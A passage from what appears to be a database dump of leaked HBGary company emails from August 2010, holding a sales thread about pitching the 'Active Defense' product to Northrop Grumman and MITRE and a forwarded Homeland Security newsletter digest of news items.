couldn\'t\r\nhurt.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThanks,\r\n\r\n\r\n\r\n\r\n\r\nTed\r\n\r\n\r\n\r\nOn Sun, Aug 29, 2010 at 12:19 PM, Bob Slapnik &lt;bob@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\nAaron and Ted,\r\n\r\n&nbsp;\r\n\r\nMITRE is another group I didn&#8217;t cooperate with.&nbsp; Let\r\nme know if you want contact info to follow up with them.\r\n\r\n&nbsp;\r\n\r\n(Basically, I am saying there is no cheese for me in\r\nthese accounts, but I will turn the contacts over to you if you wish to explore\r\nthem and be the good cop if you want to.)\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Bob\r\nSlapnik [mailto:bob@hbgary.com]\r\n\r\nSent: Sunday, August 29, 2010 1:47 PM\r\nTo: \'Ted Vera\'; \'Aaron Barr\'\r\nSubject: Northrop Grumman\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nAaron\r\nand Ted,\r\n\r\n&nbsp;\r\n\r\nTwo\r\nthings&#8230;&#8230;..\r\n\r\n&nbsp;\r\n\r\nIt\r\nbugs me that I have zero sales traction at NG.&nbsp; Bill Russell is a name\r\nthat has come up as running NG internal SOC and security operations.&nbsp; Can\r\nyou line up a meeting with him where we can show him Active Defense? Surely NG\r\nis being targeted like every other gov&#8217;t contractor.\r\n\r\n&nbsp;\r\n\r\nI\r\ntold you that I refused to cooperate with two NG IRAD groups headed by Cal\r\nSmith and Sean Tulles.&nbsp; They are working longer term IRADs that would not\r\ngenerate product revenue for a long time, and none of their IRAD dollars\r\nnow.&nbsp; They said all they needed was the AD software and no tech help or\r\ndevelopment help from HBGary.&nbsp; I did not believe it because I can&#8217;t image\r\nintegrating our s/w without tech help.&nbsp; And since they wouldn&#8217;t put up\r\nmoney I turned them down.\r\n\r\n&nbsp;\r\n\r\nClearly,\r\nthis was the best action for ME because I get judged and rewarded based on\r\nrevenue I bring in the current year.&nbsp; 1-2 years out just doesn&#8217;t matter to\r\nme.\r\n\r\n&nbsp;\r\n\r\nBUT,\r\nI was wondering if these relationships might matter to HBGary Federal.&nbsp; If\r\nthey matter to you, then I leave open the possibility that you could re-open\r\nthe relationship and be the &#8220;good cop&#8221;.&nbsp; Maybe they could actual make good\r\nprogress just having a demo version of AD without any tech help.&nbsp; It is\r\nyour call&#8230;&#8230;..\r\n\r\n&nbsp;\r\n\r\nBob\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nTed Vera &nbsp;| &nbsp;President &nbsp;| &nbsp;HBGary Federal\r\nOffice 916-459-4727x118 &nbsp;| Mobile 719-237-8623\r\nwww.hbgary.com &nbsp;|\r\n&nbsp;ted@hbgary.com\r\n\r\n\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.851 / Virus Database: 271.1.1/3095 - Release Date: 08/30/10\r\n02:35:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n',14213,'aaron_hbgary_com/14213.html'),(11036,'2010-08-30','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008454.M827560P14101Q5891.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>','Re: Northrop Grumman','I have been talking with ray Dizon over at mitre.  He&#39;s a vp overseeing their technology transfer. I am supposed to meet with him again in the next few weeks.\r\nAaronSent from my iPhoneOn Aug 30, 2010, at 2:47 PM, &quot;Bob Slapnik&quot; &lt;bob@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\nAndrew Hunt / ahunt@mitre.org\r\n/ 703-855-7497 / mobile (703) 983-2401\r\n\r\n \r\n\r\nDan Gottovi / MITRE / (781) 271-2000\r\n\r\n \r\n\r\nDon’t think an invitation from me would carry much weight.  I\r\nrecommend you contact them yourselves.\r\n\r\n \r\n\r\n \r\n\r\n \r\n\r\n\r\n\r\nFrom: Ted Vera\r\n[mailto:ted@hbgary.com] \r\nSent: Monday, August 30, 2010 1:53 PM\r\nTo: Bob Slapnik\r\nCc: Aaron Barr\r\nSubject: Re: Northrop Grumman\r\n\r\n\r\n\r\n \r\n\r\nThanks Bob,\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron and I would appreciate an introduction, it couldn&#39;t\r\nhurt.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nThanks,\r\n\r\n\r\n\r\n\r\n\r\nTed\r\n\r\n\r\n\r\nOn Sun, Aug 29, 2010 at 12:19 PM, Bob Slapnik &lt;bob@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\nAaron and Ted,\r\n\r\n \r\n\r\nMITRE is another group I didn’t cooperate with.  Let\r\nme know if you want contact info to follow up with them.\r\n\r\n \r\n\r\n(Basically, I am saying there is no cheese for me in\r\nthese accounts, but I will turn the contacts over to you if you wish to explore\r\nthem and be the good cop if you want to.)\r\n\r\n \r\n\r\n\r\n\r\nBob \r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Bob\r\nSlapnik [mailto:bob@hbgary.com]\r\n\r\nSent: Sunday, August 29, 2010 1:47 PM\r\nTo: &#39;Ted Vera&#39;; &#39;Aaron Barr&#39;\r\nSubject: Northrop Grumman\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nAaron\r\nand Ted,\r\n\r\n \r\n\r\nTwo\r\nthings……..\r\n\r\n \r\n\r\nIt\r\nbugs me that I have zero sales traction at NG.  Bill Russell is a name\r\nthat has come up as running NG internal SOC and security operations.  Can\r\nyou line up a meeting with him where we can show him Active Defense? Surely NG\r\nis being targeted like every other gov’t contractor.\r\n\r\n \r\n\r\nI\r\ntold you that I refused to cooperate with two NG IRAD groups headed by Cal\r\nSmith and Sean Tulles.  They are working longer term IRADs that would not\r\ngenerate product revenue for a long time, and none of their IRAD dollars\r\nnow.  They said all they needed was the AD software and no tech help or\r\ndevelopment help from HBGary.  I did not believe it because I can’t image\r\nintegrating our s/w without tech help.  And since they wouldn’t put up\r\nmoney I turned them down.\r\n\r\n \r\n\r\nClearly,\r\nthis was the best action for ME because I get judged and rewarded based on\r\nrevenue I bring in the current year.  1-2 years out just doesn’t matter to\r\nme.\r\n\r\n \r\n\r\nBUT,\r\nI was wondering if these relationships might matter to HBGary Federal.  If\r\nthey matter to you, then I leave open the possibility that you could re-open\r\nthe relationship and be the “good cop”.  Maybe they could actual make good\r\nprogress just having a demo version of AD without any tech help.  It is\r\nyour call……..\r\n\r\n \r\n\r\nBob\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |\r\n ted@hbgary.com\r\n\r\n\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.851 / Virus Database: 271.1.1/3095 - Release Date: 08/30/10\r\n02:35:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15458,'aaron_hbgary_com/15458.html'),(11037,'2010-08-30','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297008457.M19140P14101Q5892.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>,\"Phil Wallisch\" <phil@hbgary.com>,\"Mike Spohn\" <mike@hbgary.com>,\"Matt Standart\" <matt@hbgary.com>','FW: Homeland Security Newsletter, Aug. 27, 2010','\r\n\r\n\r\n\r\n\r\n\r\nFW: Homeland Security Newsletter, Aug. 27, 2010\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Ousley, Jerry, CIV,\r\nDSS [mailto:Jerry.Ousley@dss.mil] \r\nSent: Saturday, August 28, 2010 12:24 PM\r\nSubject: FW: Homeland Security Newsletter, Aug. 27, 2010\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&lt;&lt;image001.jpg&gt;&gt; \r\n\r\n-----Original Message----- \r\nFrom: Homeland Security [mailto:HomelandSecurity@ANSER.ORG]\r\n\r\nSent: Thursday, August 26, 2010 7:10 PM \r\nTo: HLSNLTRHTML-L@HQLSERV.ANSER.ORG \r\nSubject: Homeland Security Newsletter, Aug. 27,\r\n2010 \r\n\r\nhttp://www.homelandsecurity.org/bulletin/images/lighthouse_banner_2010.jpg\r\n\r\n\r\nPrivate-Sector News \r\n\r\nCourt Holds Credit Agency Responsible for\r\nRepeating Watch List Error (Security Management &lt;http://securitymanagement.com/&gt; )\r\nThe U.S. District Court for the Eastern District of Pennsylvania &#8220;has ruled\r\nthat a credit reporting agency can be held responsible for correcting errors on\r\ncredit reports that originated from government watch lists,&#8221; reports Security\r\nManagement. It upheld a verdict against &#8220;TransUnion after it reported that&#8221;\r\nSandra Cortez&#8217;s &#8220;name had appeared on a watch list compiled by the Treasury\r\nDepartment&#8217;s Office of Foreign Assets Control &#8230; Cortez was erroneously listed&#8221;\r\nand &#8220;attempted to correct the report through TransUnion and through the\r\nTreasury Department.&#8230; A jury found in favor of Cortez, concluding that\r\nTransUnion willfully failed to investigate the claims of an inaccurate report\r\nor note that the issue was under dispute.&#8221; View article &lt;http://securitymanagement.com/news/credit-reporting-agencies-responsible-watch-list-errors-007540&gt;\r\n\r\n\r\nMoney Transfers Stripped of Names Get Funds\r\nto Prohibited Countries (Homeland Security Today &lt;http://www.hstoday.us/&gt; ) &#8220;Britain&#8217;s\r\nBarclays Bank&#8221; is &#8220;the latest foreign bank to be penalized &#8230; for allegedly\r\nhelping&#8221; parties that are under U.S. sanctions &#8220;clandestinely move large sums\r\nof money through the American financial system,&#8221; reports Homeland Security\r\nToday. Barclays helped &#8220;clients in Iran, Cuba, Libya, Sudan and Burma &#8230; by\r\nremoving any reference to the [prohibited] parties so that the US banks\r\nclearing the transactions did not know&#8221; they were &#8220;involved and therefore did\r\nnot block or freeze the transaction.&#8221; Other banks fined in the past five years\r\nwere &#8220;Dutch bank ABN AMRO,&#8221; &#8220;Lloyds TSB Bank,&#8221; and &#8220;Credit Suisse AG.&#8221; View\r\narticle &lt;http://www.hstoday.us/content/view/14477/152/&gt;\r\n\r\n\r\nGetting Corporate Leaders to Support an\r\nEmergency Management Program (Emergency Management &lt;http://www.emergencymgmt.com/&gt; ) In\r\nthis interview with Emergency Management, Annie Searle, formerly senior vice\r\npresident for Washington Mutual Bank&#8217;s Enterprise Risk Services and chair of\r\nits Crisis Management Team, now a consultant, shares her thoughts about\r\ncyber-terrorism, pandemic planning, social media, and how best to influence\r\nsenior decision makers to support an emergency management program. View\r\ninterview &lt;http://www.emergencymgmt.com/disaster/Influencing-Senior-Decision-Makers-to-Support-Your-Emergency-Management-Program.html&gt;\r\n\r\n\r\nNational Chambers of Commerce Survey\r\nCompanies About the U.S.-Mexican Border The U.S. Chamber of Commerce and the\r\nAmerican Chamber of Commerce are conducting a joint survey to obtain feedback\r\nfrom U.S. and Mexican companies and organizations impacted by the security and\r\nefficiency of the U.S.-Mexico border. The survey responses will contribute to a\r\nborder report with recommendations to increase border security while\r\nfacilitating trade and travel. View DHS press release &lt;http://cbp.gov/xp/cgov/newsroom/highlights/mexican_border.xml&gt;\r\n\r\n\r\nState and Local News \r\n\r\nFive More States Complete Disaster Planning\r\nfor Children (Emergency Management &lt;http://www.emergencymgmt.com/&gt;\r\n) &#8220;A 2009 report by nonprofit Save the Children that examined the major\r\ndisasters of the last 10 years and their impacts on children&#8221; found that &#8220;seven\r\nstates met all four&#8221; of the group&#8217;s recommendations, reports Emergency\r\nManagement. (See the July 23 newsletter &lt;http://www.homelandsecurity.org/bulletin/100723.htm#StateLocal&gt;\r\n.) &#8220;Since then, five additional states&#8212;Mississippi, California, Wisconsin, New\r\nMexico and Washington&#8212;have incorporated the group&#8217;s recommendations into their\r\nemergency planning.&#8221; View article &lt;http://www.emergencymgmt.com/disaster/Disaster-Planning-Children.html&gt;\r\n\r\n\r\nFEMA Grants $1.8 Billion for New Orleans\r\nSchools (New Orleans Times-Picayune &lt;http://www.nola.com/&gt;\r\n) The Federal Emergency Management Agency &#8220;has awarded $1.8 billion to New\r\nOrleans public schools for construction and renovation projects stemming from\r\nmassive damages caused by Hurricanes Katrina and Rita,&#8221; reports the\r\nTimes-Picayune. &#8220;&#8230; About 130 schools were lost or damaged in the storms.&#8221; View\r\narticle &lt;http://www.nola.com/education/index.ssf/2010/08/fema_awards_18_billion_to_new.html&gt;\r\n\r\n\r\nFusion Centers Must Share Locally, Says i2\r\n(Homeland Security Today &lt;http://www.hstoday.us/&gt;\r\n) &#8220;State and local fusion centers, encouraged by the federal government after\r\n9/11, must now come of age and start pushing information laterally to local law\r\nenforcement agencies instead of merely receiving it from federal authorities,\r\naccording to&#8221; a white paper, &#8220;Fusion Centers and the Sharing of Intelligence,&#8221;\r\npublished by &#8220;an information-sharing software company,&#8221; i2, reports Homeland\r\nSecurity Today. View article &lt;http://www.hstoday.us/content/view/14492/128/&gt;\r\n\r\n\r\nAlabama Exercises Test Emergency Health Care\r\nResponse (WBRC-TV, Birmingham, AL &lt;http://www.myfoxal.com/Global/category.asp?C=151713&amp;nav=menu1627_1&gt;\r\n) Two drills at the Homeland Security Department&#8217;s Center for Domestic\r\nPreparedness in Anniston focused &#8220;on disaster health care,&#8221; reports WBRC. &#8220;&#8230;\r\nhealth care workers from throughout the U.S. acted out an explosion at a\r\nbattery acid factory. Patients show up bleeding and in various states of shock\r\nand hysteria. More and more casualties pile up and workers have to set up a\r\ndecon station outside the emergency room.&#8230; At one point a generator failure\r\nshuts down power at the hospital, also part of the drill.&#8221; The center &#8220;operates\r\non the site of the old Fort McClellan Army base, and this exercise takes place\r\nat the Noble Training Center, which was once the base hospital.&#8221; View article\r\n&lt;http://www.myfoxal.com/Global/story.asp?S=13046557&gt;\r\n\r\n\r\nMass. Institute of Technology Holds Drill for\r\nMissing Nuclear Material (Boston Globe &lt;http://www.boston.com/&gt;\r\n) &#8220;US counterterrorism officials held an exercise at&#8221; the Massachusetts Institute\r\nof Technology in Cambridge on August 19 &#8220;to better prepare local authorities to\r\nrespond to the potential theft of radioactive material,&#8221; reports the Globe. &#8220;&#8230;\r\nLed by the Department of Energy and the FBI, the exercise involved a fictitious\r\nscenario in which terrorists tried to steal cobalt, a highly radioactive\r\nsubstance that is used in hospitals to irradiate blood, but could also be used\r\nto make a so-called dirty bomb to spread deadly radiation.&#8230; MIT&#8217;s police force,\r\nthe medical community, Cambridge police, Massachusetts State Police, and fire\r\nofficials&#8221; participated. View article &lt;http://www.boston.com/news/local/massachusetts/articles/2010/08/20/us_conducts_antiterrorism_drill_at_mit/&gt;\r\n\r\n\r\nDHS Tests Airflow in Boston Subway Tunnels\r\nLast week, a team of scientific researchers, led by the Homeland Security\r\nDepartment&#8217;s Science &amp; Technology Directorate, released plumes of harmless\r\ngas and particle tracers in the rapid transit tunnels of the Massachusetts Bay\r\nTransportation Authority. The gases can replicate how harmful airborne\r\nsubstances could spread through the tunnels and, ultimately, the city above.\r\nLast December, DHS conducted similar tests in Boston to gauge how the gases\r\ntravel in cold a &lt;&lt;image003.jpg&gt;&gt; ir (see the Dec. 18, 2009,\r\nnewsletter &lt;http://www.homelandsecurity.org/bulletin/091218.htm#mbta&gt;\r\n). DHS has carried out similar tests on the Washington, DC, Metro system. View\r\nDHS blog &lt;http://blog.dhs.gov/2010/08/air-flow-testing-in-t.html&gt;\r\n\r\n\r\nNew in the Journal of Homeland Security\r\n\r\n\r\n&lt;http://www.homelandsecurity.org/journal/Default.aspx?t=348&gt;\r\nhttp://www.homelandsecurity.org/bulletin/images/sterling_fences_cover_halfsize.jpg\r\n&lt;http://www.homelandsecurity.org/journal/Default.aspx?t=348&gt;&nbsp;\r\n&lt;http://www.homelandsecurity.org/journal/Default.aspx?t=348&gt;\r\n\r\n\r\nIn Do Good Fences Make Good Neighbors? What\r\nHistory Teaches Us About Strategic Barriers and International Security &lt;http://www.homelandsecurity.org/journal/Default.aspx?t=348&gt;\r\n, Brent L. Sterling &#8220;examines &lt;&lt;image004.jpg&gt;&gt; case studies of\r\ninstances in which a nation, facing a menu of prospective choices for securing\r\na frontier, chose to build a strategic barrier,&#8221; says reviewer Scott Savitz,\r\nPh.D., senior analyst, HOMELAND SECURITY STUDIES AND ANALYSIS INSTITUTE.\r\nSterling &#8220;then examines the subsequent implementation of this decision and its\r\nimpact.&#8221; \r\n\r\n&nbsp;\r\n\r\n________________________________ \r\n\r\n&lt;http://www.homelandsecurity.org/journal/Default.aspx?t=349&gt;\r\nhttp://www.homelandsecurity.org/bulletin/images/trans_sys_security_cover_web_small.jpg\r\n&lt;http://www.homelandsecurity.org/journal/Default.aspx?t=349&gt;&nbsp;\r\n&lt;http://www.homelandsecurity.org/journal/Default.aspx?t=349&gt;\r\n\r\n\r\nIn Transportation Systems Security &lt;http://www.homelandsecurity.org/journal/Default.aspx?t=349&gt;\r\n, Allan McDougall and Robert Radvanovsky attempt to present the &#8220;strategic,\r\noperational, and practical considerations involved in the implementation of\r\nphysical, procedural, and managerial safeguards required to keep all modes of\r\ntransportation up and running during an actual or potential disaster.&#8221; Analytic\r\nServices senior editor Steve Dunham reviews the book. \r\n\r\nDHS News \r\n\r\nTSA Begins &#8216;Enhanced Patdown&#8217; at Boston and\r\nLas Vegas Airports (Boston Herald &lt;http://www.bostonherald.com/&gt;\r\n) Federal airport security &#8220;screeners [have] launched a more aggressive\r\npalms-first, slide-down body search technique&#8221;&#8212;&#8220;what the agency calls an\r\n&#8216;enhanced patdown&#8217;&#8221;&#8212;at the Boston and Las Vegas airports &#8220;before a planned\r\nnational rollout,&#8221; reports the Herald. &#8220;&#8230; The body searches are conducted by\r\nsame-gender TSA officers, and passengers can request private screenings at any\r\ntime. Previously, TSA screeners used patdown motions of their hands to search\r\npassengers over their clothes, switching to the backs of their hands over\r\ncertain &#8216;sensitive&#8217; body areas, such as the torso.&#8230; Passengers who opt not to\r\nwalk through the full-body scanners &#8230; must instead walk through a metal\r\ndetector and submit to a body search. If the full-body scanners detect an image\r\non a person&#8217;s body that screeners can&#8217;t decipher, those passengers also are\r\nsubjected to body searches. If there is no full-body scanner at a security\r\ncheckpoint, passengers go through a metal detector and are subjected to a body\r\nsearch if the alarm sounds. The TSA also subjects random passengers to body\r\nsearches.&#8221; View article &lt;http://www.bostonherald.com/business/general/view.bg?articleid=1276131&gt;\r\n\r\n\r\nObama Orders Uniform Handling of DHS\r\nClassified Information (Homeland Security Today &lt;http://www.hstoday.us/&gt; ) In an executive\r\norder issued August 18, President Obama &#8220;ordered the secretary of homeland\r\nsecurity to issue guidance for the uniform handling of classified information\r\nshared by the federal government to state and local governments,&#8221; reports\r\nHomeland Security Today. DHS has 180 days to come up with simplified rules. &#8220;The\r\norder applies to state, local, tribal, and private sector entities that receive\r\nfederal classified information.&#8221; View article &lt;http://www.hstoday.us/content/view/14425/128/&gt;&nbsp;\r\n&#8226; View order &lt;http://www.whitehouse.gov/the-press-office/2010/08/18/executive-order-classified-national-security-information-programs-state-&gt;\r\n\r\n\r\nNapolitano Orders Review of National Exercise\r\nProgram (Homeland Security Today &lt;http://www.hstoday.us/&gt;\r\n) On August 17, Homeland Security Secretary Janet Napolitano gave the Federal\r\nEmergency Management Agency three months to come up with a revised National\r\nExercise Program, reports Homeland Security Today. The program, she said,\r\n&#8220;should consist of a series of much more frequent, smaller-scale drills,\r\ntabletops, and functional exercises, culminate in a single national level\r\nfull-scale exercise, and meet objectives established by principals as well as\r\npartners, operational elements, and legal requirements.&#8221; View article &lt;http://www.hstoday.us/content/view/14455/149/&gt;\r\n\r\n\r\nCoast Guard Accepts Rescue 21 The Coast Guard\r\non August 20 formally accepted the Rescue 21 advanced command, control, and\r\ncommunications system created to improve the service&#8217;s ability to assist\r\nmariners in distress and save lives and property at sea. Rescue 21 already\r\ncovers more than 35,000 miles of coastline in the United States, including the\r\ncoasts of Maryland, Virginia, and Washington, DC, and the upper Chesapeake Bay.\r\nIt will continue to be installed throughout the country. View press release\r\n&lt;http://coastguard.dodlive.mil/index.php/2010/08/rescue-21-continues-to-revolutionize-sar/&gt;&nbsp;\r\n&#8226; View Focus on Deepwater &lt;http://www.homelandsecurity.org/bulletin/061027.htm#focus&gt;\r\n\r\n\r\nOther Federal News \r\n\r\nHHS Allocates $2 Billion to Overhaul Pandemic\r\nResponse (In-Pharma &lt;http://www.in-pharmatechnologist.com/&gt;\r\n) &#8220;Shortcomings in the response to H1N1 prompted the US Department of Health\r\nand Human Services&#8221; to allocate $2 billion &#8220;to overhaul pandemic and\r\nbioterrorism capabilities through improvements to regulatory, developmental and\r\nmanufacturing processes,&#8221; reports In-Pharma. &#8220;&#8230; The funding will be used to\r\naddress &#8216;major barriers&#8217; to development of countermeasures.&#8221; View article &lt;http://www.in-pharmatechnologist.com/Materials-Formulation/HHS-allocates-2bn-to-overhaul-pandemic-response-process&gt;\r\n\r\n\r\nInternational News \r\n\r\nIlliteracy Is High in Afghan Security Forces\r\n(Wired &lt;http://www.wired.com/&gt; )\r\n&#8220;Only 18 percent of [Afghanistan&#8217;s] 243,000 cops and grunts have more than a\r\nKindergarten-level ability to read.&#8230;&#8221; writes Wired &#8220;Danger Room&#8221; blogger Noah\r\nShachtman. &#8220;&#8216;Unless we take on literacy, we truly will never professionalize\r\nthis force,&#8217; [said] Lt. Gen. William Caldwell,&#8221; commander of NATO Training\r\nMission&#8211;Afghanistan. Other problems he faces, writes Shachtman, are &#8220;rampant\r\ncorruption [within] the ranks, a culture that tolerates getting high on the\r\njob, and a king-sized attrition rate.&#8221; View blog &lt;http://www.wired.com/dangerroom/2010/08/u-s-hopes-afghan-troops-can-pass-1st-grade-someday/&gt;\r\n\r\n\r\nSomalian Suicide Bombing Kills Six Members of\r\nParliament (Christian Science Monitor &lt;http://www.csmonitor.com/&gt;\r\n) On Tuesday, &#8220;a suicide bombing in Somalia&#8217;s capital, Mogadishu, left at least\r\n32 people dead,&#8221; reports the Monitor. &#8220;Six of the victims were members of the\r\nembattled Somali parliament.&#8221; View article &lt;http://www.csmonitor.com/World/Africa/2010/0824/Al-Qaeda-linked-Al-Shabab-blamed-for-Somalia-suicide-bombing&gt;\r\n\r\n\r\nWave of Attacks Targets Iraqi Security Forces\r\n(CNN &lt;http://www.cnn.com/&gt; ) &#8220;Just\r\nafter the United States completed its drawdown of combat brigades in Iraq,\r\nmilitants Wednesday launched a wave of bombings across the country mostly\r\ntargeting security forces,&#8221; reports CNN. &#8220;At least 48 people died and at least\r\n286 others were wounded in 13 cities.&#8230; The only region that appeared to be\r\nspared the onslaught was the three-province Kurdish autonomous region in the\r\nnorth.&#8230; a similar series of strikes that occurred in May bore the hallmarks of\r\nal Qaeda in Iraq. On that day, 85 people died and more than 300 others were\r\nwounded in coordinated shootings and bombings across six provinces.&#8230; The\r\nU.S.-led combat mission formally ends August 31, and the remainder of American\r\ntroops will train, assist and advise the Iraqis.&#8221; View article &lt;http://edition.cnn.com/2010/WORLD/meast/08/25/iraq.violence/index.html?hpt=T1#fbid=9zmDJlUYZHs&amp;wom=false&gt;\r\n\r\n\r\nAl-Shabab Ascendant in a Somali Neighborhood\r\nof Nairobi, Kenya (Washington Post &lt;http://www.washingtonpost.com/&gt;\r\n) &#8220;Schools and mosques where extremist views are taught are reshaping&#8221; the\r\n&#8220;Eastleigh neighborhood&#8221;&#8212;a &#8220;Somali immigrant community that for years has lived\r\npeacefully in the capital of&#8221; Kenya, reports the Post. &#8220;&#8230; Al-Shabab has long\r\nthreatened to attack Kenya,&#8221; and &#8220;Kenyan police have long harassed Somalis,\r\ndemanding bribes under threat of arrest or deportation, generating resentment.&#8221;\r\nThe &#8220;police have rounded up hundreds of people &#8230; &#8216;The community is suffering,&#8217;\r\nsaid Abdufatah Ali, an Eastleigh representative on the Nairobi City Council.\r\n&#8216;The police stop you and take your phone, and say &#8220;You are al-Shabab.&#8221; They\r\nenter your house and rape you, and say &#8220;You are al-Shabab.&#8221;&#8217; Radical preachers\r\nare filling the void.&#8221; View article &lt;http://www.washingtonpost.com/wp-dyn/content/article/2010/08/21/AR2010082102682.html&gt;\r\n\r\n\r\nU.S. Assists Mongolia With Nuclear Security\r\nTraining (Global Security Newswire &lt;http://www.globalsecuritynewswire.org/gsn/&gt;\r\n) The U.S. National Nuclear Security Administration has &#8220;provided training to\r\nMongolian authorities on the response to a potential terrorist strike against a\r\nsite that holds nuclear or radiological materials,&#8221; reports Global Security\r\nNewswire. &#8220;&#8230; Mongolian personnel from the law enforcement, regulatory and other\r\nsectors dealt with three distinct terrorist strike schemes in a four-day\r\nexercise at the Asian state&#8217;s Nuclear Energy Agency headquarters in\r\nUlaanbaatar.&#8221; View article &lt;http://www.globalsecuritynewswire.org/gsn/nw_20100826_8135.php&gt;\r\n\r\n\r\nUnited Nations News \r\n\r\nUN &#8216;Trains Trainers&#8217; to Curb Disaster Risk\r\n(AllAfrica &lt;http://allafrica.com/&gt; )\r\nA United Nations workshop to &#8220;train trainers&#8221; in disaster risk reduction kicked\r\noff Wednesday in Kenya with the hope that participants will take the lessons\r\nlearned and apply them elsewhere in Africa. The two-day training heldin Rift\r\nValley Province by the African regional office of the UN International Strategy\r\nfor Disaster Reduction drew dozens of participants from several African\r\nnations. View UN press release &lt;http://allafrica.com/stories/201008250664.html&gt;\r\n\r\n\r\nIndonesian Schools and Hospitals Join UN\r\nDisaster Risk Reduction Program Thousands of Indonesian schools and hospitals\r\nhave joined the United Nations Global Platform for Disaster Risk Reduction, a\r\ncampaign to encourage authorities to better protect such structures in\r\nvulnerable areas from the impact of future natural disasters. Participants\r\ncommit to take disaster risk reduction measures, better prepare for potential\r\ndisasters, or raise public awareness about the issue. Indonesia is particularly\r\nvulnerable to natural disasters, having experienced the devastating effects of\r\nthe 2004 Indian Ocean tsunami and numerous earthquakes. View UN press release\r\n&lt;http://www.un.org/apps/news/story.asp?NewsID=35682&amp;Cr=disaster&amp;Cr1=&gt;\r\n\r\n\r\nNational News \r\n\r\nCIA Says U.S. Is a Source of Terrorists\r\n(Washington Post &lt;http://www.washingtonpost.com/&gt;\r\n) &#8220;The United States has long been an exporter of terrorism, according to a\r\nsecret CIA analysis released Wednesda &lt;&lt;image002.jpg&gt;&gt; y by the Web\r\nsite WikiLeaks,&#8221; reports the Post. That perception &#8220;could damage relations with\r\nforeign allies and dampen their willingness to cooperate in &#8216;extrajudicial&#8217;\r\nactivities, such as the rendition and interrogation of terrorism suspects.&#8230; the\r\nthree-page classified paper&#8221;&#8212;&#8220;What If Foreigners See the United States as an\r\n&#8216;Exporter of Terrorism&#8217;?&#8221;&#8212;was &#8220;produced in February by the CIA&#8217;s Red Cell, a\r\nthink tank set up after the Sept. 11, 2001, attacks.&#8221; View article &lt;http://www.washingtonpost.com/wp-dyn/content/article/2010/08/25/AR2010082507177.html%20&gt;\r\n\r\n\r\nDual-Benefit Solutions \r\n\r\nhttp://www.homelandsecurity.org/bulletin/Dual2.jpg\r\n&lt;http://www.homelandsecurity.org/bulletin/Dual%20Benefit/DualBenefit_current.htm&gt;\r\n\r\n\r\nDual-benefit news archive &lt;http://www.homelandsecurity.org/bulletin/Dual%20Benefit/DualBenefit_current.htm&gt;\r\n\r\n\r\nSecurity Designed Into a McKinney, TX,\r\nBuilding Protected Occupants (Dallas Morning News &lt;http://www.dallasnews.com/&gt; ) Design\r\nthat merges &#8220;safety, sustainability and humanity&#8221; protected the occupants of\r\nthe McKinney public safety building &#8220;when Patrick Gray Sharp fired more than\r\n100 rounds at&#8221; the structure on August 17, reports the Morning News. &#8220;Secure\r\naccess points and the arrangement of rooms create a buffer between McKinney law\r\nenforcement officials and the public. Windows sit just above eye level to\r\nprevent direct attack. They slope to limit ledges for explosive devices.\r\nBulletproof glass protects the lobby, and bullet-resistant liner lies inside\r\nthe masonry walls. Outside, concrete structures called bollards block cars from\r\nsmashing through the entrance. Manicured trees make climbing or concealment\r\ndifficult. Thorny bushes [are] near the building&#8217;s sides. Transformers and\r\nutilities sit several meters away from the 84,100-square-foot structure.&#8221; View\r\narticle &lt;http://www.dallasnews.com/sharedcontent/dws/news/city/collin/mckinney/stories/082210dnmetmcshooting.258565a.html&gt;\r\n\r\n\r\nEducation &amp; Training \r\n\r\nThe HOMELAND SECURITY STUDIES AND ANALYSIS\r\nINSTITUTE lists these education and training programs as a service to readers\r\nwho may be interested; it does not endorse them or their courses. New education\r\nlistings are posted for four weeks.\r\n\r\nRailroad Emergency Response &amp; Hazmat\r\nAwareness (August 31, Provo, UT; September 1, Midvale, UT) Hosted by Burlington\r\nNorthern Santa Fe and the Utah Railway, this training focuses on rail safety,\r\ncommunication, hazmat documents, placards, and railcar nomenclature. View class\r\nwebsite &lt;http://www.transcaer.com/events.aspx&gt;\r\n\r\n\r\nHazmat in Tank Cars and Tank Car Safety\r\n(September 28-30; Martin, TN) Multiple classes will be offered in the morning,\r\nafternoon, and evening, focusing on hazmats in railroad tank cars, tank car\r\nsafety, and safety working near tracks. On September 30 there will be an\r\nemergency response 